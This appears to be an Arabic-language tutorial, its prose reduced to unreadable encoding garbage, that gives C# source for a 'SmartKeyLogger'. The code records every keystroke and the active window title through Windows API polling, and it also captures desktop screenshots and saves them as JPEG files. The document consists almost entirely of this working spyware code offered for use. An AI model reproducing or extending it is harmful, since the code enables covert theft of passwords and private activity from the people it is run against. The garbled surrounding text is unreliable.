
������� 	
  ا��ا�	 ا���ء ا����
 ا���

   Kay loggerه%ا $�ح اآ�اد 
� ��� ج���س ���� ا������� 

  او1 آ0س �/��. اي ض+*( ��	 ا�)���رد
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
using System.Runtime.InteropServices; 
using System.Windows.Forms; 
using System.IO; 
 
namespace SmartKeyLogger 
{ 
    class Key_Logger 
    { 
        bool tglControl = false; 
        bool tglAlt = false; 
        bool tglCapslock = false; 
 
        #region API_Key Logger 
        [DllImport("User32.dll")] 
        private static extern short 
GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys 
enumeration 
        [DllImport("User32.dll")] 
        private static extern short 
GetAsyncKeyState(System.Int32 vKey); 
        [DllImport("User32.dll")] 
        public static extern int GetWindowText(int hwnd, 
StringBuilder s, int nMaxCount); 
        [DllImport("User32.dll")] 
        public static extern int GetForegroundWindow(); 
        #endregion 
 
        public string Name_window() 
        { 
            int hwnd = GetForegroundWindow(); 
            StringBuilder Title = new StringBuilder(1024); 
            int intlength = GetWindowText(hwnd, Title, 
Title.Capacity); 



            if ((intlength <= 0) || (intlength > 
Title.Length)) 
                return "unknown"; 
            string a = Title.ToString(); 
            return a; 
        } 
 
        public static bool ControlKey 
        { 
            get { return 
Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); 
} 
        } // ControlKey 
        public static bool ShiftKey 
        { 
            get { return 
Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); } 
        } // ShiftKey 
        public static bool CapsLock_key 
        { 
            get { return 
Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); } 
        } // CapsLock 
        public static bool AltKey 
        { 
            get { return 
Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); } 
        } // AltKey 
 
        public string GetKey() 
        { 
            string key_buffer = ""; 
 
            
//################################################### 
            foreach (int i in Enum.GetValues(typeof(Keys))) 
            { 
                if (GetAsyncKeyState(i) == -32767) 
                { 
                    
//*******************(controlkey)****************** 
                    if (ControlKey) 
                    { 
                        if (!tglControl) 
                        { 
                            tglControl = true; 
                            key_buffer += "<Ctrl=On>"; 
                        } 
                        else if (tglControl) 



                        { 
                            tglControl = false; 
                            key_buffer += "<Ctrl=Off>"; 
                        } 
 
                    } 
                    
//************************(Altkey)******************* 
                    if (AltKey) 
                    { 
                        if (!tglAlt) 
                        { 
                            tglAlt = true; 
                            key_buffer += "<Alt=On>"; 
                        } 
                        else if (tglAlt) 
                        { 
                            tglAlt = false; 
                            key_buffer += "<Alt=Off>"; 
                        } 
                    } 
                    
//*****************(CapsLock_key)*********** 
                    if (CapsLock_key) 
                    { 
                        if (!tglCapslock) 
                        { 
                            tglCapslock = true; 
                            key_buffer += "<Caps Lock=On>"; 
                        } 
                        else if (tglCapslock) 
                        { 
                            tglCapslock = false; 
                            key_buffer += "<Caps Lock=Off>"; 
                        } 
                    } 
                    
//*************************************************** 
             if (Enum.GetName(typeof(Keys), i) == "LButton") 
                        key_buffer += "<LMouse>"; 
          else if (Enum.GetName(typeof(Keys), i) == "RButton") 
                        key_buffer += "<RMouse>"; 
         else if (Enum.GetName(typeof(Keys), i) == "Back") 
                        key_buffer += "<Backspace>"; 
        else if (Enum.GetName(typeof(Keys), i) == "Space") 
                        key_buffer += " "; 
      else if (Enum.GetName(typeof(Keys), i) == "Return") 
                        key_buffer += "<Enter>"; 
     else if (Enum.GetName(typeof(Keys), i) == "ControlKey") 



                        continue; 
    else if (Enum.GetName(typeof(Keys), i) == "LControlKey") 
                        continue; 
    else if (Enum.GetName(typeof(Keys), i) == "RControlKey") 
                        continue; 
      else if (Enum.GetName(typeof(Keys), i) == "LControlKey") 
                        continue; 
      else if (Enum.GetName(typeof(Keys), i) == "ShiftKey") 
                        continue; 
      else if (Enum.GetName(typeof(Keys), i) == "LShiftKey") 
                        continue; 
     else if (Enum.GetName(typeof(Keys), i) == "RShiftKey") 
                        continue; 
     else if (Enum.GetName(typeof(Keys), i) == "Delete") 
                        key_buffer += "<Del>"; 
    else if (Enum.GetName(typeof(Keys), i) == "Insert") 
                        key_buffer += "<Ins>"; 
   else if (Enum.GetName(typeof(Keys), i) == "Home") 
                        key_buffer += "<Home>"; 
   else if (Enum.GetName(typeof(Keys), i) == "End") 
                        key_buffer += "<End>"; 
   else if (Enum.GetName(typeof(Keys), i) == "Tab") 
                        key_buffer += "<Tab>"; 
   else if (Enum.GetName(typeof(Keys), i) == "Prior") 
                        key_buffer += "<Page Up>"; 
  else if (Enum.GetName(typeof(Keys), i) == "PageDown") 
                        key_buffer += "<Page Down>"; 
  else if (Enum.GetName(typeof(Keys), i) == "LWin" || 
Enum.GetName(typeof(Keys), i) == "RWin") 
                        key_buffer += "<Win>"; 
                    
//*************************************************** 
                    if (ShiftKey) 
                    { 
                        if (i >= 65 && i <= 122) 
                        { 
                            key_buffer += (char)i; 
                        } 
 
                        else if (i.ToString() == "49") 
                            key_buffer += "!"; 
                        else if (i.ToString() == "50") 
                            key_buffer += "@"; 
                        else if (i.ToString() == "51") 
                            key_buffer += "#"; 
                        else if (i.ToString() == "52") 
                            key_buffer += "$"; 
                        else if (i.ToString() == "53") 
                            key_buffer += "%"; 



                        else if (i.ToString() == "54") 
                            key_buffer += "^"; 
                        else if (i.ToString() == "55") 
                            key_buffer += "&"; 
                        else if (i.ToString() == "56") 
                            key_buffer += "*"; 
                        else if (i.ToString() == "57") 
                            key_buffer += "("; 
                        else if (i.ToString() == "48") 
                            key_buffer += ")"; 
                        else if (i.ToString() == "192") 
                            key_buffer += "~"; 
                        else if (i.ToString() == "189") 
                            key_buffer += "_"; 
                        else if (i.ToString() == "187") 
                            key_buffer += "+"; 
                        else if (i.ToString() == "219") 
                            key_buffer += "{"; 
                        else if (i.ToString() == "221") 
                            key_buffer += "}"; 
                        else if (i.ToString() == "220") 
                            key_buffer += "|"; 
                        else if (i.ToString() == "186") 
                            key_buffer += ":"; 
                        else if (i.ToString() == "222") 
                            key_buffer += "\""; 
                        else if (i.ToString() == "188") 
                            key_buffer += "<"; 
                        else if (i.ToString() == "190") 
                            key_buffer += ">"; 
                        else if (i.ToString() == "191") 
                            key_buffer += "?"; 
                    } 
                    else 
                    { 
                        if (i >= 65 && i <= 122) 
                        { 
                            key_buffer += (char)(i + 32); 
                        } 
                        else if (i.ToString() == "49") 
                            key_buffer += "1"; 
                        else if (i.ToString() == "50") 
                            key_buffer += "2"; 
                        else if (i.ToString() == "51") 
                            key_buffer += "3"; 
                        else if (i.ToString() == "52") 
                            key_buffer += "4"; 
                        else if (i.ToString() == "53") 
                            key_buffer += "5"; 



                        else if (i.ToString() == "54") 
                            key_buffer += "6"; 
                        else if (i.ToString() == "55") 
                            key_buffer += "7"; 
                        else if (i.ToString() == "56") 
                            key_buffer += "8"; 
                        else if (i.ToString() == "57") 
                            key_buffer += "9"; 
                        else if (i.ToString() == "48") 
                            key_buffer += "0"; 
                        else if (i.ToString() == "189") 
                            key_buffer += "-"; 
                        else if (i.ToString() == "187") 
                            key_buffer += "="; 
                        else if (i.ToString() == "92") 
                            key_buffer += "`"; 
                        else if (i.ToString() == "219") 
                            key_buffer += "["; 
                        else if (i.ToString() == "221") 
                            key_buffer += "]"; 
                        else if (i.ToString() == "220") 
                            key_buffer += "\\"; 
                        else if (i.ToString() == "186") 
                            key_buffer += ";"; 
                        else if (i.ToString() == "222") 
                            key_buffer += "'"; 
                        else if (i.ToString() == "188") 
                            key_buffer += ","; 
                        else if (i.ToString() == "190") 
                            key_buffer += "."; 
                        else if (i.ToString() == "191") 
                            key_buffer += "/"; 
                    } 
 
                }//end if (gedasync); 
            }//end forech 
            return key_buffer; 
        } 
 
 
    } 
} 

 

  

  



  

using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
using System.IO; 
using System.Drawing; 
using System.Drawing.Imaging; 
using System.Runtime.InteropServices; 
 
namespace SmartKeyLogger 
{ 
    class DesktopWindow 
    { 
        #region API_ 
        [DllImport("user32.dll")] 
        private static extern IntPtr GetDesktopWindow(); 
        [DllImport("gdi32.dll")] 
        private static extern bool BitBlt( 
        IntPtr hdcDest, // handle to destination DC 
        int nXDest, // x-coord of destination upper-left 
corner 
        int nYDest, // y-coord of destination upper-left 
corner 
        int nWidth, // width of destination rectangle 
        int nHeight, // height of destination rectangle 
        IntPtr hdcSrc, // handle to source DC 
        int nXSrc, // x-coordinate of source upper-left corner 
        int nYSrc, // y-coordinate of source upper-left corner 
        System.Int32 dwRop // raster operation code 
                   ); 
        private const Int32 SRCCOPY = 0xCC0020; 
        [DllImport("user32.dll")] 
        private static extern int GetSystemMetrics(int 
nIndex); 
        private const int SM_CXSCREEN = 0; 
        private const int SM_CYSCREEN = 1; 
 
 
        #endregion 
 
        private Size GetDesktopBitmapSize() 
        { 
            return new Size(GetSystemMetrics(SM_CXSCREEN), 
GetSystemMetrics(SM_CYSCREEN)); 
        } 
        public byte[] GetDesktopBitmapBytes() 
        { 



            Size DesktopBitmapSize = GetDesktopBitmapSize(); 
            Graphics Graphic = 
Graphics.FromHwnd(GetDesktopWindow()); 
            Bitmap MemImage = new 
Bitmap(DesktopBitmapSize.Width, DesktopBitmapSize.Height, 
Graphic); 
 
            Graphics MemGraphic = 
Graphics.FromImage(MemImage); 
            IntPtr dc1 = Graphic.GetHdc(); 
            IntPtr dc2 = MemGraphic.GetHdc(); 
            BitBlt(dc2, 0, 0, DesktopBitmapSize.Width, 
DesktopBitmapSize.Height, dc1, 0, 0, SRCCOPY); 
            Graphic.ReleaseHdc(dc1); 
            MemGraphic.ReleaseHdc(dc2); 
            Graphic.Dispose(); 
            MemGraphic.Dispose(); 
            Graphics g = 
System.Drawing.Graphics.FromImage(MemImage); 
            System.Windows.Forms.Cursor cur = 
System.Windows.Forms.Cursors.Arrow; 
            cur.Draw(g, new 
Rectangle(System.Windows.Forms.Cursor.Position.X - 10, 
System.Windows.Forms.Cursor.Position.Y - 10, cur.Size.Width, 
cur.Size.Height)); 
            MemoryStream ms = new Memory Stream(); 
            MemImage.Save(ms, 
System.Drawing.Imaging.ImageFormat.Jpeg); 
            return ms.GetBuffer(); 
        } 
 
 
    } 
} 


رة ������ � �
  ا�ن ���� ���ل ��� ا

� ا���س  � ��  DesktopWindowاول �� � �� آ�

و�-
م +�*($���)� '� اي %$ث ���  GetDesktopBitmapو� �� دا�� 

 �� ��'� �

�ل ت�45. وه�ا ���ل �(
012 /�.ة ا �ا�:89 ��� زر او �

5@(��1
ن ا*(��4ر ه�? ا���*�ت +$ون ا����� وا�� �(�آ$ ان ��=> ا��:�ء 

  �.ح

  

  DesktopWindow Bitmap_img = new DesktopWindow(); 
  



  

        void GetDesktopBitmap(string Name) 
        { 
            try 
            { 
                byte[] img = Bitmap_img.GetDesktopBitmapBytes(); 
                MemoryStream ms = new MemoryStream(img); 
                PictureBox my_img = new PictureBox(); 
           my_img.Image = Image.FromStream(ms); 
       my_img.Image.Save(System.Environment.CurrentDirectory +  Name 
+ ".jpg"); 
            } 
            catch (Exception ex) 
            { 
                MessageBox.Show(ex.Message); 
            } 
        } 
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